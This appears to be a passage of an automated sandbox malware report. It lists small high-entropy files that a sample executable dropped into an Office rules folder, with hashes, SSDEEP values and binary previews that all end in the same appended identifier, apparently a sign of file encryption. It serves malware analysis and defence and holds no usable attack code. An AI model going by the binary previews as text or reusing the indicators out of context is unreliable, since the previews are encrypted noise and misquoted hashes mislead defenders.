SSDEEP:	12:YzcmcEdW39OAjAy7pWgZGmz1f2NUdpCq84O3eHuebeDdP6OdLVV9M2cii9a:YzRcEdW39OUyg0Ed2GdUqeeGhvL79pbD
MD5:	85C37427A8BC82E03A9D8546AE5C839A
SHA1:	C574FF72B9A710D2D7B3F420BE082D0934608851
SHA-256:	E891B67DB3D774546D097BB4B8240D188A44395F0BB5CF2F8F682F7E56E9B19E
SHA-512:	47E905A9E12076095A84E1EA69E51B20C15409B028CDA4ED4BE98AA9B0CEA5AFE6692807D93B8B509437B57E198046B937E616BE1156B9E07A4CDC7D9E54691C
Malicious:	false
Preview:	.<?<.......T..q.6.c........c6..., ,.:....L.%......n..N...XNa...oV.a.q..8.o[.+....".R.]..]...r.3.H...Q%.-h...../c./6....l..\.A.>..~.f.........H(0LV...)?@....?...d.mg...}s.......W`.~..6.u.~VA`..........;L.UK.[......V..5.C..N.....H..2=.gJ......Rj.7.Xr.u....y.....{.cJ.....#}s.G...:.Ik...x.6J.i8]_.T.<{..X....Sj.w....L7.2..=J.]....b............N.v..u.....^C6..I..F..7....$.,-..o.R.....N/.......kOB.:...........$H[..M.G..Y.u7...q.e..<........Tj..L.4;$...9mxb.......J.>.B.$/i..-,..C..w.p.......y.e[Y..i...........D."8..._.K.X..T..r.QC...'n.e.!E.L.\|<..y...;wT...Q...9..../.R9+daF..s......?..,$..aU...h...L}.4`H:..=,e.@...sx...)PxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.7832776927002625
Encrypted:	false
SSDEEP:	24:vRD4NyXLxq917EtJkTh4dgvSXATpL6hv6C9pbD:vSNyU9144Th4dgicpUrJD
MD5:	2633586F89A921F1F9AC1AE74A9E3678
SHA1:	1110310344609E58613FAA2DD0340D5E16891742
SHA-256:	C8E01F6F9B9009F58A069BF65FD279AAE604971F0526276F3243D07497C31A27
SHA-512:	898B7EA3EECF76CE46310F0B9F68C32CBEEE5979E48CA169EDB1F0C7F2C8F395B15DADC12EFDF7032D1D3E6D17B1E3EBAE989DC888AD4B0C7544C289DD8802DF
Malicious:	false
Preview:	.<?.gM..F.....#e)..~/.]e7,Y.`....L#T..g?!...e0.iw. .../.+.(.....Y...\..4.zP.......w.S...;..'.....\|.\|.=Y....4]Y...'>.&H..I..]@.M.....\|.....<..q.KvD@2.U`0~.&.~>..[D.>...H.t.u\a....W.[R.>au..?.\|{.....<...3..m.......A.b..."C..&..........A...2..&P.cl....u..R.`".TI.6H...o.=......HP......T,..m....'..Q.=...M-h.AA).3?.......GH..................g....<Y.g.<)..R.%.^...M.....ny...&....0.$..r...>97.)... ..ZS8G...H..V+_.N#}..e...xy.,f.r.._.,n..Pbl....z\.xE...f..E......Wj...FU.>....S. .h....:...:z.........+.....c.Ri.....8...a.2K......}...#...,..Q...IO9:Nl..n..8.}....l.J.......Q.....2..k.o.;..&..#..T.r.'z.^-..p.....-S=q.......p..M.'...xW....9aj..c...=W$..I.6...JO.7........z..b....k...-..y.a....p.kL.n..A..g..2xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.700596340675195
Encrypted:	false
SSDEEP:	12:rcCYaZnzoIo/8IYh2QdVhoOdSSiayRYowOI3nJoWwqIXFV5Rq9ZdM9M2cii9a:YJozo98IS2CVddp3yTwOIX6pXPMZdM9h
MD5:	04A95BE31C9B82A3BDA1DDD71EBFE527
SHA1:	F90A640D1655F2C0A2DA2575EF4F1ED5ED0FAC11
SHA-256:	878734730ED4C990DC679F69A121D14879A2D551845209C686C0CCC61521755E
SHA-512:	CF94C30CF6F67611BDAD6424B7CA0F116F8F2D75EBA171A225ACE335FB2C5A862D6F666A790D5E70F827D5748D837F3DBFA60A13DFDBCC92A7B2E9866371F275
Malicious:	false
Preview:	.<?\..;..<.A..!.5.XH.[h..K..w.h.....P.?..X......f.\|.5~...u......#.2.G.}..'0..Fi`..pU..'.`t.}..w6Fg#.[.jJ..Q..NA.C.V.'B...R.. ...zC.....m.A.K...M..A..{w.l.A.....+.W......X.-$.....4.GU.zMG6k..N....y.u..k..#..h..9j.-G....._.E.H..`#..=Vm82jG.\..).B..n.S..0w..a.b.g.........q3...k#.sA.".2{{{...!E..8.Tu.Q.#..39........`DwX....TX/...t.R<,.4....\|.4>>.>...5.(I.....\|N.j...I.r..S...Y......$......u....P).~.u..Fe.\_.....`.n.(.C0......,~BH.h..aA....<,.....7c......J......P..&B....7. %..../.j..c....h......4A..B.<....0...7.^.e&.4'.#W.<.^...$.V6...N.&..@...Z\|e.#C..k)2~.....F,<..B.dw.+.x.[...x...)...'..........RW;],...0(F.......O...y..~..e.Wl.M..Kd+m]...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.730823184921095
Encrypted:	false
SSDEEP:	24:R8H18CEn6rybi0ghMG0R0sP+pvclv2S2X9pbD:O6nAyc4R0EluPJD
MD5:	01BA61EB55608DE19710488CA9A4BA88
SHA1:	6DC77ABDBA1CF02492355910215BF8B19E93FF7F
SHA-256:	7093A2BEA8A1CD603D3479C76DB4FCBB6945B74D6C141E4946355305CE118D63
SHA-512:	EE42B17247491854D674A484FBB0A90D3F9CEDF337705B63B787653E5C0BE830B4D08FF3E33382728AE3BE9F3884FFE0ECD7579F1A223E2B18FDCEF097158981
Malicious:	false
Preview:	.<?H..s^...\|.....}Q9.B.V.w..p......UV0..<...-(.?....W.`.....P.0_..a%..g....m..?[@5)OP/.\.."....#..E9.7mM...<.u...3....\|'.{VB..5..#.a..];......_d.?....3.......O...h..y.J...!..[.......9.S..R.5.Ce1T?..b.F.}\...(.6.a`tN.r..T.Q.I.o2.....#z.AA9..R..e&.7..T........o...kQ.9.T.-....cE;]..&...O.?cw..vw......[..i...?<.ry..[..."..j...G1...S.V.....w .n3..D._.....Y...... .k7..t...=~p.l......D.?'...=8.Y:.^........V.f....(.?..-.`v...2l.c.G..ZLK.j........!h..l......WC........Q.v..o.>[1=.h.UH3."..MC...K.p..W..B....3...k\...!.n0_.......T[...4.....c cMi....&f.........w. ........$..}.V..I$.....[)xem...@..QN5..a.n..2..LZUo..V\|...e..0..w...<..hN....S.62.0....jC..,.'.....X..z-..;R....kU.g,.........s._.Jj..-..VnjxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.730269782293946
Encrypted:	false
SSDEEP:	12:viUmNolTSbINetU9LlJcnJKSAmkz9eSShFDsWe/CkuLtzWV9M2cii9a:qBEstCSnElmmePnYWe6k9pbD
MD5:	80A2417E44200A2BAAD10B0FA95D3B3E
SHA1:	320968AAEA0573318D92BF593DE04DC24B13125A
SHA-256:	50384CA1DB749126C59411CF6995DA678AA18D6AE27CD9D3AA826E5004983EB5
SHA-512:	8BC29A3522F1FC004198DC579E6A7EAB18F5D54E550F17936053C4F2372BE62D50E3BCA59AD992606DB57B74A1D3FB44FE82B559FB1839A285CF104BBB1C3434
Malicious:	false
Preview:	.<?..g..%....V...#.z...}..z..;....\X........r...U....=.K.x.....oc.3..'\|..$}.Y?.NU....`..S..Z3...?.U.#...".M..i(..;,..e...@~....(`.....,......h...H.pwi..$g...H..QE.#D....@@....y..z..k:h.BQ.I#.]....W.?....CRn.......1..4.Mb.>.mk."?+. ......iO.]......:G.J..9.........\.=.^.Z..F.0.Zk?@1..z..N..'haa......}F..{..ci^.\|.wb...e8...._1...h....#.aZ2..7Uj.;.O.....O.N!.p?.!(..@/...)..=]....z...{....0...sPN...1..'...Cw,...f,.&.g.K.....;O.....R..>pl.......J.V.+P.=.=.....BT....(,.p..#...k.J`..2..P..YY.i.IQO.Z\|...z.}C..8.O.O...<...m..P_.....[....L.....g[..;u....}[.....o.m.7@]..'..H...N.....GPUu..@....k....}.k..g.U... ./.Tf..$..C....C2:~xxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.7296038962676965
Encrypted:	false
SSDEEP:	12:Kp7ePgKDOgZB9NEyrLH9SUTYwfcSDv40suFmcHJtGX/3X7Y89Ijs/yM74+D9M2cq:OIKyfdSIcSk05mcpt8X7YRQ/nzD9pbD
MD5:	62CD62D216062B0AA81FFBA341C0C92E
SHA1:	4F308A35C09CF5790922B284F57BB23CDB4BB9D2
SHA-256:	0FB470321EE8CF8942B14BE45F720248D17AD006B4B12A49D2A69C91E3817E52
SHA-512:	A5B8241CA980712B84F818562D737F20EFB029C3FB8314F8279565A30BB512818AE75F747966A4D240AE23F3C6E2934AD8374125B8B83A5EE83622264B592F4C
Malicious:	false
Preview:	.<?L..`.a.,..>.0...Y..9..*.{....9.o...V....,<..-.6A].I..}....e.#.....R....m..mO...g..Z,#........B.P3461R.iZ+.;K....i......L.....~/..;........=.../...y.z.V...........5........W...m,..8....$f.......Gv..0.....x... ;A...{......\=..@Q.E.h...0e-b..0l...#.Bk9.U.u_...Xm.3...._V...c3...S#.....m../hwnr..Y^.%...t]0.Qe..G].>)K8.R..,.x..=.%oF.c.L.#.El.!.h..XE..4..k.5`8J.....x?..0xy.0.}..6X.B#.(\|...R.@....0.^:oH....VA-.v..e.wb.....5..d......4_.....n.hb\|rT...m.9.J.Xn..@.1..z..#>.;.....P.\<H.Z........WG^.t..S'P.oC..rTV.....k.;..C.A.?=....4.a!.bG...o"l..!<Dd.2..gj...7..u:'?....q.........cq6.N...3.....}.N.....o....[=.f._..Z.\...B..Y:.DN.6<...e.$.`..IM].T.i?e...3^.W!d.?D......5.....].q.\|..I=...8.6.W]JxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.739934468297321
Encrypted:	false
SSDEEP:	12:5u0vTAKwQ0oZYnQBCoAJCrM+IDJy+5oeX9N961Q6KRxkcuBKIf9M2cii9a:53TAHJQBOJAHIFy+NMppKm9pbD
MD5:	6CEE609DF23AF38A04C397707838025D
SHA1:	569763CE87C0D67A8B6BF3B3DEF156BCD714E6D6
SHA-256:	AF9413B38BDEA4C4264359E06A53463E5489A0DD7F422CB8D5484F2F62191346
SHA-512:	95EE58B113A4106D3E85758C08AACA1F04EFA5409A4DAC19CBBC36322C9CF4135B7517D1FAB56AD1916A481E4CDA5B2786AD6ECF981062C696F3A2CF91369E10
Malicious:	false
Preview:	.<?.)...".e..r.cn..a:.,aB1.\)..v.T(X.....S...v.wTP.xA.1..b`.fF.r....M.t...e/......S.........+..8.)...c.wF..Z.F......Y%.N...p.q;!R~.....n...U...g.(.@?.$....$.u....U.4.lMN;jh..LIo....Y.....1.%...Ph^'=.J""m.<.-.^.d1..y...U.!m.p.......&.6. KP.........,....a.,.:f.Q,.....5....S'.N..Q.y YG.....-.].+.V...5..B!..<l..`..<Ao...Y%.ox.\|}..0.k.b..@.._+{...N...6...$....i.`....;..3.<...\5....RP$@.~.j.`....s.)=.l?.......M.....p....h.U..As.7..]-k/.3.S...o..2#..m.:.j..9r..5....>z.....e.X..~..Q..a.\|..H.......O.Ij...K.0l.c...sXT...'nu..y~t...1`...\...^.....0.W%.u.`..../x>...p.....4B8...n ....m.J'=]uW.6.\.V.g......R...:"m.]&...w......~...H.eR..5..ed/..QxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.72116220026808
Encrypted:	false
SSDEEP:	12:bvb4PHmUSk4YWtAbBIy7j/j6Z1EaWg3irXNlxxW+BlTH0yo00OP+evPe3mG9M2cq:b1U7bBIE/SE9DHxFbr0+xv23X9pbD
MD5:	FDB0099E303385626682B5CD7BBF8882
SHA1:	713E0476F9D212F29031999B39CDDDC3CB3885D9
SHA-256:	CFD0DFC2981713C4FE2E7F7406890C75CC929A3FCCE25C89B97FFD0E43541034
SHA-512:	6F4851194DA9169453011F0D17D527113B7CA5EC746D09694125EE6B0C7E2AFF11982F70411409A34C7BED16F439507E7BD9135DC0906AD23B1BFAE2FBD0352D
Malicious:	false
Preview:	.<?j...V.3.?...y..........T.Y{.W.4....<f!.wx'...qc...b.^...^y...E.L.u..F.5"..HJ.V L..}{7.f..)'..f.....t..xFa..rN.].cq.a-u.......y..........A..\|)....tpG.."I9?.Q.~Le9.qgZ..'5.A.53[.>~\..q9..1......L`~k....X....>M.m.k3n.0t...#Y..x.V~@i.:..=./w........+..O..c`...2.[....$......O...._..B..f.3~.z.....,+.uE2.N...L.....4[Am....}...B..Js.."a.GbIa....;i..ULJ\./>W....V....:}.FD2..V......g.$.%r....q."....b.(....;f..6.rJ2P8...'.4,......-E......a.._m.I....m_../.N.%.Y..W.....R..Hp....'......Ic..........o.....0.^9..o..............n...8...O..........+_4y._'.p.;.4...{.a...T..D..M.sz...2..>Jo.q..5.-..MkUI....h^..y...CN.R\|M......D.^...X.Yh.(b.>....$DP2u.H......*.L......sS.H...T}........{.X'..n.}h=/....B.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.707837394530078
Encrypted:	false
SSDEEP:	24:jTQvNs+0W59agyfZxwpz+2vP6Y4rgW9pbD:jTQvNsK54xxoz++4rgIJD
MD5:	029379E4C7AABC7A5C822F494D6737DA
SHA1:	4520DDD6CC5D777A44FF9416573596B24363B292
SHA-256:	53856D8C1E54B3BF984806A0B53675054918ADED3461B59642D14F89AB86DB45
SHA-512:	4E45CC3529451F9AAFEB2F7DC54811E4546F79089A37403B5019625E326E54A4E30641BE4A4C0E48D5034D9B16428A83DDEAC5210D251A44A87A8F736E8B4105
Malicious:	false
Preview:	.<?.UJ.l.....:.}....,_...A..U8....f!.(..I...NI.........x..._...2.&....:.U,j..;.?]....L...5...&......[..r`...I...]/J....O5E.).q"..:......... ....b...Bm{#......IB.R.d._.C.sc..O..>.....M..0.i.(E1...u^....{.....C...!F.~9.f.e+..ou..?[e!m.....i.....Xx.wi..2t.....9.= ..@I..........I.$p....R..n.....<qz..]<].e....M...q.:&....,.`.r"..e.]..E.A.........*V.>...`....?[...e...(`,.`..m....[.......&.,.r..H._.&..{.m..:.z...9......,.......D..b".....LV...CA)..zf\|S.."]....!.$.k...qe....0......O....BIR.._J..2..<.s..H8...3'B3......j.@.^.....v..V!V.... ...L.....KuU..g"^t..[...d....e.........?7....?....r....3....]...Fj........:._..".'...7..u...87"v.....&....>.S.d.&....w..M.....s.(..,.4.....({....8...B.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.714619105279092
Encrypted:	false
SSDEEP:	12:EAQT81NAaaGbeBUjrwLtYVt2i6GSIxLD4yO9SR//Gf+zv6FX9jxGJGYqvM39M2cq:E7ToA1/BxdGSIlz/G9XBEJGk9pbD
MD5:	320F1D9213F706D3409B914CB854CDA6
SHA1:	E27546F2CE99FC39440B960237AAEE515B33D32E
SHA-256:	2E035B8A34C5B32F0D3F7E1901038A1FC4CA443E5447C40F78309F0A41169809
SHA-512:	75517ECB975EE4A9EED26975F3D4A7F4CA54B2A125519442BCED71A7EF49CF554DD348B14F8DAC1139881FD27748BFE5D0D77E01CC1476113CB973248C8FF53D
Malicious:	false
Preview:	.<?I.r........1.i.(.t!..EQ(.;.9.m..o.......4..R_.U.RbC<.u.xYV.L....R.. ....V.qn<?...U..e..>bp8.i.@...'.Z..7...F....n.^...e.....e.:.......m.6.{..J..ht9........2.jq..X..>.NZ-.N.......l.....aN.E<..t..k..t......... .:..t.6UW..Q.:8..Y...#....i.3...C..Ih...9.`.,...I...&M..."IPH..;Ga..9.-.A..."l.b.h.-,xpe...W.._..+Wo....#..b.i5.>.M.k...L.0J.B.C..6Z....}.E..0P[d{...N.i....o.!.?h1&...l.......+.....qH....s..Zt.;..6..#.._Z`h9.%S..q4..G..\|.._k.....'...H.U......f..<....Th...WS...H.zk.7.z....Le... b?.I.`y...$Z.%.BO....v...#.X^..:....\|.d[_.._.........d.#F.Xt.A.Y.............S..[#Uf..^.....X.t...mq.}....b..0..._......Ka..9..{.^..\|.*.Rd....eO4D5........S...r...K...+9.G.F.....uA....?...1~... .\.-."0Rg.6...[....Ty.F..+xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.726998475625044
Encrypted:	false
SSDEEP:	12:0/oNlui4ScBGcEIZ1kgsKkinsvQTiJjnOBt3B39EdAeUaIw0W0Wbj2LT9M2cii9a:3GS8GcEIZ1kgs7YeJyBtLVHbs2v9pbD
MD5:	DDDF051CCE8A9C69C97488BC7B9349BF
SHA1:	2A36292132DF63FA3FA3041137C144E513A43F96
SHA-256:	15788B6776E67A50D485BF92854D9A74AF8C5151F823CC0501BFBA7B3641E35C
SHA-512:	0D37AA71E3ADBB6508E3DC8F0F665A52989585F890D162B681B36FAF4B89091AB3BF2DFFEF1EA92D6344C99A410100766147527368E1FAD5178839D2475CC955
Malicious:	false
Preview:	.<?[..B.I...b..5.!..........j.x...@....g(.....S...w...b....KZ.....G.-..j...~..&.e..`_...:.Sr.....-./..9.I.cB..{.Y..L..8.].E\.y<.}...+.$....`.J6....8T.5U..T.w.o,.\|Y?j?...R_."f.....M..]ld{..>.B\..2..&..nf....\|!.f.E.>.c....O.....r...p.-..L..=......ja.>.L..vw..i.X.L./.O.\..t......t.M..........6.Y.Xc1.i.....hTRO..Km..^s..t..oAM.`...y.!y;...@.R.d.."M:....a.$...kB\|...x........&.!.9H...E...c.Z2..;H....E.C0.@.P.0.Ph......J.....Z.O..e.yz*.@.....#.#..'o.C.:...7q...T.....Im.[..-....a.....U.$.f.._..2..9.h.......}.7.9.0m.#0.ed.......Ye.yW.. .....8D......w....+<...7.v.....DP..`.......Y.......eh7h./..#.i.V...8.\$y.H..m...d.-...v..e...M.....N)sxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.6733131454069525
Encrypted:	false
SSDEEP:	24:psS+EM5V4Vj4Yg3WZ52Dd1zKLX/N6MPS9pbD:gEM5V4x4YgmZIB1zMX/IMPUJD
MD5:	69F11DEEBC897734A46A9F2C1142DA55
SHA1:	36DDF349B882C1FAE5BD69F67376EB719D57EE1E
SHA-256:	B3FA71662787CB4F7622E87432C7BF7F17A8D0B386B7C414804C2F2BA3A23C85
SHA-512:	1B8DA2914872C1F0942A9FD3CB3112F080A0E8E73E48E425F88C36D5E09D0D4FFF3B99FA93E0DB57FD9AFA4AE07D2947112C125381A203AE2E06047111895275
Malicious:	false
Preview:	.<?...ryH.a!N...!....0...l.s...k2...K"...Y.y.0..o8.25.f$n.y.Ou.................Z&.....K.)G([...<Y...9&.fw.L1..K.Lw).AF.....P8.8g..DL\\|...N..R..q.....\.9i}7....K......@YA...m...n.Y .9.G..Sh....@...c."+..3.....k....?.\.o.igL...s"Q.Ag...M.8.%..z...CK../.)...7j.:m....1..I..%;jM..K..`.....7mF.;.....1.6..?.'.....W.?Z.h\n...+......2P.N..R.4y.8.....fAX........>..F{.Ha.K.....}.f.(..F..2........`.3i".\y...FU.jc[W...K.D.......KR.T.5..-...C_.i.j]..w\O.3.Ele6@..JX...I..Q..<d......b.x.@.\|.M....O-.T...=.Cdt.".f\|.-y$..+Q\|.:....E.Tmd..Yi...C.T.s...?.O.f..bGZ.C....^..j"lh..d../.....!VJ...K+.fZ.wn.S/.g....!.....\|..ju<...B.\... .....H....8.g/.<..i..;c...:.TY.1..!...L:7R.....,M....0.:Qc..-..7......Ob.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.683548801704791
Encrypted:	false
SSDEEP:	12:l63Z3ERL7TEFZyysne466IXH9sbzZdeGP+LnmIK25tRU9tmpLpsqqdwIZC7z29Mw:l8Z0N6ZyVe46fg8ezIK2BU9mVsqS87za
MD5:	05AEC59723A83A7C2004B9E725F5C207
SHA1:	2557A1973227FEF5763201EF8A9C2EA8AA675E0B
SHA-256:	82BF39E12DD6B825AEF1D3E14BDADE7CFEE4793AD47641D99C4743D8C9FB3DA1
SHA-512:	CDB8EBCFA0DE8402D3197118A485C52D2E8CBF81A716328CFFA359ACDE72913E3F3A50E122C7FF4AF713B0D773EB7D5EA1D3D8938659F884A52F041B8E198ED9
Malicious:	false
Preview:	.<?..-s.-.....sU..."..n....nfv...i.<.J...Z.h....P.q.....v.b....M...Ui/6..(....`V'fw.E,...k.\BC.7.....+.(1...UTq.+......k..0-..TU.+.#kk..\.q...q. \]..w.......2#6..9.A....6....&mO........&..K...i.R..6..U..8.z...x.D.d.,.XlC&_(pj(...]..............F.. x.....hj..R..oj.a.$..v3..5hS...k...T}...o."....c#%..`......:..m...v.b)XG..y......F.D...h..b7...bV.Jh.g..\|#(..o.P.^y##....Mq. .SC.....5.j..f...........-.7..p.M_k. .,.8.MQ.+./n.[....o.J...k..\|..a..Gz6.L.s.z..~.kc...9A.ln..l8.;6.7......I..7....`.r...........?.]h0.._.5..zl......g..]..'d...t..@.].'.L$>O..q...q..=.7.J..v."^.....p("..GI=.$2.@..[...`.".....3....k.......cvR1.0..0..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.73587702570183
Encrypted:	false
SSDEEP:	24:ieaCqQ8vcTeUveLlaov11VHZZKvJBh80dQWaUnUVs9pbD:taCqQEcaUvqaeVqxvRQWaUUVCJD
MD5:	215729EEF592F59AB53B67E85323418C
SHA1:	D0C40C8C74919B765260AAB70B7CE2FE57E6B681
SHA-256:	84CBE7AFA46EDF1F2B2DC98DD717C8F4C097A7C247A5907892C69032DCFB2537
SHA-512:	CD6378FF6B1E42408143724E860FB115B807883BB017DA2A436E518695D52034AE20B0BD74CDC9A73E7401582D2A8688602AC725228471761A70814E9D43B78B
Malicious:	false
Preview:	.<?R"c..<p.a... .a...SJ..j..d.,/..'....m....{P^....Z.Kx9rS..j?.h .....0(M.`C.}..@..)tw..K\.b.J..;..d.C.....jf.H.s.D.zK..t.....L.@#7.....j+@Ui.D.g.&.Ac.6U...)j..V...f.^;....xj..\..K....C...S....xt..eN..L.x.`H........R...F.{..._...7....i.......8...4.....w%..e.A...E].5......T......v.T..7.ea.KC........R....[+...h.."..(...)}....&.._n?.,..z..I..w.o.?1.(.[.Q.....\..\|.o......1.N.t<..2...O....H>......w.P...pP...A...B. .\|/......[..&.$.....y...pb...oR...N.A.$p....._R\|S.G~....>)N%...(_.....<..d..%4.....O.}............t@0m.'5.._....M.J.-..(Y.....Uk..E....I.}..dXB..;CB.L^.......R..A..$9n'l.b.6...+.......xj..........z......V..K...\|.V6.m4.0..?{g..'J.......&....T}.P.P..e...^Q.X.K..t..t...'.Y.mxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.69911136036928
Encrypted:	false
SSDEEP:	12:viXk3y/q6AFvIvpPfMPLNEV/rcPyfCpsIMVUckNLlawWCaZcThX8A4Mb04Wp/rpX:KX4y/qrFvY9PBr7CpsUrRawfTeMb0V/x
MD5:	A40FA74C281C77A532CD4621A15C5607
SHA1:	1F3DFFB31232797D549C45D826576C7F37A37675
SHA-256:	A07AFF705508AAEBBA23B18E0559C877BFDB77569838684B83B15C67A36A996E
SHA-512:	D4085D93D9D7B69D82322B0A1DE86432E881DA145988289AC7B3AE8A8BB68E116C54296EE0C7E48CF5D5BE8A4E16C78B65221A8C5AEFF0C60914EE26294398DD
Malicious:	false
Preview:	.<?.j...=..ssn.......7...6...6.@.-.2T.C]...q.h........{..%.2.."...t......0....1..-.P"T..2l.U.0\NcH.!q.u.>.x...=........L.../ c.....d...R.`}........8.)H.<L!.....?...8.i.....c .P....=.`\|...w.J../...Fbtj ..W]Zp.8.....>..9.A.1....,....w..Y.c.E.........x...TD1.+.?..&OO.p.r.q.....k.,H......0...X[\.N#g.}.m)...^.hDHm...4HU.K.p.....~.........%Q..Eod...@....WUt./..?.\|.r...V...O......)7...c.+FW........OS...D..Y...W.. ;Y..J..W..t7R<w....?...u..._..`x...9..1.i.7..F......~}.W.A.F...-....e......H9.)h.l"@.........z....K.d.O..'..2....I...3.k..P..E.,@z:c......a>..G..."p......I..z]-c.?4.b..c..EO.w.s..."2.......S.N.!.].W..i...u.ij....P.5..0......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.7632977808293395
Encrypted:	false
SSDEEP:	24:r84KXLwzI7cooBvcB6RJBFMFzTqLjaG8SKyMwx39pbD:VooBvcB6/MdxZBFwvJD
MD5:	379A77FA02BC76004A9BD76E5ED32A45
SHA1:	0217B62AF4923C915F4D1593DC58E5D8E32747D4
SHA-256:	E38805EE3EDC23E6C6F9340F73B1EEC39EBEF772A40D90ED15D75AD18D765D60
SHA-512:	3538C75E24D62BBAA6A82BA63A9A62AB98ED723B4FA5172D055F0050964E897C99FF3CBB85DFC5D32204916A62E2AD0DAE2730BF7D1D3B39F3FBFD1E187E3883
Malicious:	false
